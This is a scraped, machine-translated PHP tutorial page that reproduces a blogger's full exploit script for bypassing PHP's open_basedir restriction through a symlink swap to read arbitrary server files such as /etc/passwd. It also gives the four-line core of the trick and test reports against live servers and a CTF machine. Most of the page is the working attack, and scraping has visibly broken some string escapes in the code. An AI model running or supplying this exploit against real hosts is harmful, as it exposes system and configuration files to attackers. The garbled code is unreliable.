Home >Backend Development >PHP Tutorial >PHP5 full version bypasses open_basedir file reading script vulnerability detailed introduction, _PHP tutorial

PHP5 full version bypasses open_basedir file reading script vulnerability detailed introduction, _PHP tutorial

WBOY
WBOYOriginal
2016-07-13 10:09:221098browse

Detailed introduction of PHP5 full version bypassing open_basedir file reading script vulnerability,

The vulnerability was raised a long time ago (about 5 years ago), but it was not a problem in the PHP code, so the problem has existed until now. I never paid attention to it, but later Yaseng told me that he tested it and it seemed that 5.5 was fine.

The vulnerability details are here http://cxsecurity.com/issue/WLB-2009110068.

Give me the EXP I wrote:

Copy code The code is as follows:

/*
* by phithon
* From http://www.bkjia.com
* detail: http://cxsecurity.com/issue/WLB-2009110068
*/
header('content-type: text/plain');
error_reporting(-1);
ini_set('display_errors', TRUE);
printf("open_basedir: %snphp_version: %sn", ini_get('open_basedir'), phpversion());
printf("disable_functions: %sn", ini_get('disable_functions'));
$file = str_replace('\', '/', isset($_REQUEST['file']) ? $_REQUEST['file'] : '/etc/passwd');
$relat_file = getRelativePath(__FILE__, $file);
$paths = explode('/', $file);
$name = mt_rand() % 999;
$exp = getRandStr();
mkdir($name);
chdir($name);
for($i = 1 ; $i < count($paths) - 1 ; $i++){
  mkdir($paths[$i]);
  chdir($paths[$i]);
}
mkdir($paths[$i]);
for ($i -= 1; $i > 0; $i--) {
  chdir('..');
}
$paths = explode('/', $relat_file);
$j = 0;
for ($i = 0; $paths[$i] == '..'; $i++) {
  mkdir($name);
  chdir($name);
  $j++;
}
for ($i = 0; $i <= $j; $i++) {
  chdir('..');
}
$tmp = array_fill(0, $j + 1, $name);
symlink(implode('/', $tmp), 'tmplink');
$tmp = array_fill(0, $j, '..');
symlink('tmplink/' . implode('/', $tmp) . $file, $exp);
unlink('tmplink');
mkdir('tmplink');
delfile($name);
$exp = dirname($_SERVER['SCRIPT_NAME']) . "/{$exp}";
$exp = "http://{$_SERVER['SERVER_NAME']}{$exp}";
echo "n-----------------content---------------nn";
echo file_get_contents($exp);
delfile('tmplink');

function getRelativePath($from, $to) {
  // some compatibility fixes for Windows paths
  $from = rtrim($from, '/') . '/';
  $from = str_replace('\', '/', $from);
  $to   = str_replace('\', '/', $to);

  $from   = explode('/', $from);
  $to     = explode('/', $to);
  $relPath  = $to;

  foreach($from as $depth => $dir) {
    // find first non-matching dir
    if($dir === $to[$depth]) {
      // ignore this directory
      array_shift($relPath);
    } else {
      // get number of remaining dirs to $from
      $remaining = count($from) - $depth;
      if($remaining > 1) {
        // add traversals up to first matching dir
        $padLength = (count($relPath) + $remaining - 1) * -1;
        $relPath = array_pad($relPath, $padLength, '..');
        break;
      } else {
        $relPath[0] = './' . $relPath[0];
      }
    }
  }
  return implode('/', $relPath);
}

function delfile($deldir){
  if (@is_file($deldir)) {
    @chmod($deldir,0777);
    return @unlink($deldir);
  }else if(@is_dir($deldir)){
    if(($mydir = @opendir($deldir)) == NULL) return false;
    while(false !== ($file = @readdir($mydir)))
    {
      $name = File_Str($deldir.'/'.$file);
      if(($file!='.') && ($file!='..')){delfile($name);}
    }
    @closedir($mydir);
    @chmod($deldir,0777);
    return @rmdir($deldir) ? true : false;
  }
}

function File_Str($string)
{
  return str_replace('//','/',str_replace('\','/',$string));
}

function getRandStr($length = 6) {
  $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
  $randStr = '';
  for ($i = 0; $i < $length; $i++) {
    $randStr .= substr($chars, mt_rand(0, strlen($chars) - 1), 1);
  }
  return $randStr;
}

Suppose we want to read /etc/passwd. In fact, the principle is to create a link file x, use a relative path to point to a/a/a/a, and then create a link file exp to point to x/../../../etc/passwd.

In fact, it points to a/a/a/a/../../../etc/passwd, which is actually ./etc/passwd.

At this time, delete x and create another x directory, but exp still points to x/../../../etc/passwd, so it successfully crosses to /etc/passwd.

The essence is these four sentences:

Copy code The code is as follows:

symlink("abc/abc/abc/abc","tmplink");
symlink("tmplink/../../../etc/passwd", "exploit");
unlink("tmplink");
mkdir("tmplink");

We access http://xxx/exp. If the server supports access to linked files, then /etc/passwd can be read.

No operation triggers open_basedir, but the effect is to bypass open_basedir and read arbitrary files.

The error is not in php, but I don’t know who to attribute the error to, so php has never dealt with this problem.

open_basedir

Limit the files that PHP can open to the specified directory tree, including the file itself. This command is not affected by turning safe mode on or off.

When a script attempts to open a file using, for example, fopen() or gzopen(), the file's location will be checked. PHP will refuse to open a file when it is outside the specified directory tree. All symbolic links are resolved, so it is not possible to circumvent this restriction through symbolic links.

Special value . Specifies that the script's working directory will be used as the base directory. But this is somewhat dangerous, because the script's working directory can be easily changed by chdir().

In the httpd.conf file, open_basedir can be turned off like any other configuration option using the "php_admin_value open_basedir none" method (such as in some virtual hosts).

In Windows, separate directories with semicolons. Use colons to separate directories on any other system. As an Apache module, the open_basedir path in the parent directory is automatically inherited.

The restrictions specified with open_basedir are actually prefixes, not directory names. That is to say "open_basedir = /dir/incl" will also allow access to "/dir/include" and "/dir/incls" if they exist. If you want to restrict access to only the specified directory, end the pathname with a slash. For example: "open_basedir = /dir/incl/".

Note:

Support for multiple directories was added in 3.0.7.

The default is to allow all files to be opened.

I tested it on both my VPS (php5.3.28 + nginx) and Raspberry Pi (php 5.4.4 + nginx) and it read successfully.

Raspberry Pi test:

Compared with the hole in 5.3 XML (that many files cannot be read), this success rate is relatively stable, and many files can be read. And there is no version requirement, so the harm is relatively great.

A few days ago, I wrote a letter to CTF and tried this script. Apache can also read it. At that time, I read the /etc/httpd/conf/httpd.conf of the kali machine and found nothing.

It is found that there is no side station and the traffic is forwarded through the gateway.

www.bkjia.comtruehttp: //www.bkjia.com/PHPjc/945716.htmlTechArticleThe full version of PHP5 bypasses the open_basedir file reading script vulnerability and introduces it in detail. The vulnerability was mentioned a long time ago (about 5 years ago) It came out, but it was not a problem with the php code, so the problem persists...
Statement:
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn